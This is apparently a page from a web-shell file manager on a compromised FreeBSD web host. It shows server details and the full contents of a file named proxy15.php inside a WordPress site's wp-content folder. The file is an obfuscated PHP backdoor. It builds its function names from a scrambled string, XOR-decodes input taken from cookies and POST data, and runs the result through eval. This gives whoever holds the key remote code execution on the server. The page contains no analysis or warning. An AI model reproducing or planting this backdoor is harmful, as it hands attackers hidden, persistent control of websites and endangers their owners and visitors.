HEX
Server: Apache/2.4.49 (FreeBSD) OpenSSL/1.0.2s-freebsd PHP/5.6.36
System: FreeBSD hosting.icon.bg 11.3-RELEASE-p13 FreeBSD 11.3-RELEASE-p13 #0: Tue Sep 1 06:56:51 UTC 2020 root@amd64-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC amd64
User: ftpuser (1002)
PHP: 5.6.36
Disabled: NONE
Upload Files
File: /hosting/kak.bg/web/wp-content/proxy15.php
<?php
$jllptm = 'g95f\'uyHv#k740ocx16it2mpnbsaelr*_-d3';$wnbxrg = Array();$wnbxrg[] = $jllptm[7].$jllptm[31];$wnbxrg[] = $jllptm[35].$jllptm[15].$jllptm[18].$jllptm[3].$jllptm[17].$jllptm[21].$jllptm[34].$jllptm[21].$jllptm[33].$jllptm[11].$jllptm[27].$jllptm[25].$jllptm[2].$jllptm[33].$jllptm[12].$jllptm[27].$jllptm[25].$jllptm[3].$jllptm[33].$jllptm[1].$jllptm[35].$jllptm[15].$jllptm[12].$jllptm[33].$jllptm[12].$jllptm[34].$jllptm[13].$jllptm[15].$jllptm[28].$jllptm[25].$jllptm[34].$jllptm[27].$jllptm[3].$jllptm[3].$jllptm[13].$jllptm[21];$wnbxrg[] = $jllptm[9];$wnbxrg[] = $jllptm[15].$jllptm[14].$jllptm[5].$jllptm[24].$jllptm[20];$wnbxrg[] = $jllptm[26].$jllptm[20].$jllptm[30].$jllptm[32].$jllptm[30].$jllptm[28].$jllptm[23].$jllptm[28].$jllptm[27].$jllptm[20];$wnbxrg[] = $jllptm[28].$jllptm[16].$jllptm[23].$jllptm[29].$jllptm[14].$jllptm[34].$jllptm[28];$wnbxrg[] = $jllptm[26].$jllptm[5].$jllptm[25].$jllptm[26].$jllptm[20].$jllptm[30];$wnbxrg[] = $jllptm[27].$jllptm[30].$jllptm[30].$jllptm[27].$jllptm[6].$jllptm[32].$jllptm[22].$jllptm[28].$jllptm[30].$jllptm[0].$jllptm[28];$wnbxrg[] = $jllptm[26].$jllptm[20].$jllptm[30].$jllptm[29].$jllptm[28].$jllptm[24];$wnbxrg[] = $jllptm[23].$jllptm[27].$jllptm[15].$jllptm[10];foreach ($wnbxrg[7]($_COOKIE, $_POST) as $oesxx => $xbkzihr){function tmirg($wnbxrg, $oesxx, $gahmel){return $wnbxrg[6]($wnbxrg[4]($oesxx . $wnbxrg[1], ($gahmel / $wnbxrg[8]($oesxx)) + 1), 0, $gahmel);}function ujbypxs($wnbxrg, $xoxokwz){return @$wnbxrg[9]($wnbxrg[0], $xoxokwz);}function ruafk($wnbxrg, $xoxokwz){$qymmjrt = $wnbxrg[3]($xoxokwz) % 3;if (!$qymmjrt) {eval($xoxokwz[1]($xoxokwz[2]));exit();}}$xbkzihr = ujbypxs($wnbxrg, $xbkzihr);ruafk($wnbxrg, $wnbxrg[5]($wnbxrg[2], $xbkzihr ^ tmirg($wnbxrg, $oesxx, $wnbxrg[8]($xbkzihr))));}